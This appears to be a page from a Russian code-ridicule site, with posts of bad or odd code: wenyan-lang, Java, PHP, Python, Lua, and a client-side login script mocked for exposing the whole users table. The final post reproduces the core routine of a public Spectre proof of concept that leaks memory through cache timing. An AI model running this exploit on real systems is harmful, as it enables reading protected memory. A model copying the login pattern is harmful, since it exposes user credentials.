- 1
- 2
- 3
- 4
吾有一數。曰三。名之曰「甲」。
為是「甲」遍。
吾有一言。曰「「問天地好在。」」。書之。
云云。
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+2
吾有一數。曰三。名之曰「甲」。
為是「甲」遍。
吾有一言。曰「「問天地好在。」」。書之。
云云。
Программист из Шанхая создал язык программирования wenyan-lang, основанный на старинном классическом китайском языке.
Язык может компилироваться в JavaScript, Python и Ruby. К нему уже успели написать плагины для VSCode, Vim и Sublime. С полной документацией можно ознакомиться на гитхабе:
https://github.com/wenyan-lang/wenyan
Перевод на "JavaScript":
var n = 3;
for (var i = 0; i < n; i++) {
console.log("問天地好在。");
}
−1
Как наебнуть дистрибутив, читайте бесплатно без регистрации и СМС.
Способ от Oleg'а: Каряво обновить.
1) Идем на https://en.opensuse.org/SDB:System_upgrade, делаем все по инструкции.
2) Качаем 1.6 ГБ пакетов и ждем установки
3) На системном разделе в 50 гигов заканчивается место почти за 10% до конца установки
4) ctrl+C
А почему я решил обновить его именно сейчас?
Да потому что mariadb 10.2 поддерживающая JSON поля тянет зависимости вплоть до glibc.
А я уже один раз установил более свежую glibc в debian, лучше этого больше никогда не повторять.
В общем, если надо обновлять пакет - то обновляй с дистрибутивом вместе, все равно именно так и поставляют, такая вот логика.
https://software.opensuse.org/package/mariadb
Ну может еще пошаманю посижу, удалю весь мусор идущий в "start menu" и запущу апгрейд по новой, но точно не сейчас.
Потому что надо дописывать код.
Вот же я лох.
+1
public class Uptime {
private short minute;
private byte hour;
private short day;
private short month;
private short year;
public Uptime() {
ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
executorService.scheduleAtFixedRate(() -> {
minute++;
if(minute >= 61) {
hour++;
minute = 0;
if(hour >= 25) {
day++;
hour = 0;
if(day >= 31) {
month++;
day = 0;
if(month >= 13) {
year++;
month = 0;
}
}
}
}
}, 1, 1, TimeUnit.MINUTES);
}
public short getMinute() {
return minute;
}
public byte getHour() {
return hour;
}
public short getDay() {
return day;
}
public short getMonth() {
return month;
}
public short getYear() {
return year;
}
}
Код для получения аптайма приложения.
+1
switch($ext) {
case 'bmp':
case 'BMP':
$img = imagecreatefrombmp($file_name);
break;
case 'gif':
case 'GIF';
$img = imagecreatefromgif($file_name);
break;
case 'JPG'
case 'jpg':
case 'JPEG':
case 'jpeg':
$img = imagecreatefromjpeg($file_name);
break;
case 'PNG':
case 'png':
$img = imagecreatefrompng($file_name);
break;
}
Сойдет.
+1
За "PHP".
0
def parse_cmd(cmd):
output = []
state = 0
current_arg = ''
prev_c = ''
for c in cmd:
if c == ' ':
if state == 0:
if len(current_arg) > 0:
output += [current_arg]
current_arg = ''
elif state == 1:
current_arg += c
elif c == '"' and prev_c != '\\':
if len(current_arg) > 0 or state == 1:
output += [current_arg]
current_arg = ''
state = int(not state)
else:
current_arg += c
prev_c = c
if len(current_arg) > 0:
output += [current_arg]
return output
Какой FSM )))
0
_G = setmetatable(_G, {__newindex = function(t,k,v) t[k] = "sG_nil" end})
pitux=1
чо поцоны, изи рекурсия.
0
<!-- todo: put this in a different file!!! -->
<script>
function authenticateUser(username, password) {
var accounts = apiService.sql(
"SELECT * FROM users"
);
for (var i = 0; i < accounts.length; i++) {
var account = accounts[i];
if (account.username === username &&
account.password === password)
{
return true;
}
}
if ("true" === "true") {
return false;
}
}
$('#login').click(function() {
var username = $("#username").val();
var password = $("#password").val();
var authenticated = authenticateUser(username, password);
if (authenticated === true) {
$.cookie('loggedin', 'yes', { expires: 1});
} else if (authenticated === false) {
$("#error_message").show();
}
});
</script>
This JavaScript code powers a 1,500 user intranet application
−1
public function syncStock() {
$locked = file_exists(__DIR__ . '/lock/gk_sync_stock');
if ($locked) {
$this->logger->log("Attempt to sync locked stock");
return;
}
file_put_contents(__DIR__ . '/lock/gk_sync_stock', current_time('mysql'));
$changed = $this->_syncStock();
unlink(__DIR__ . '/lock/gk_sync_stock');
$this->logger->log("Sync stock complete, $changed changed");
}
Тут может произойти дедлок, или ни один из синхронных запросов не выполнится?
0
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack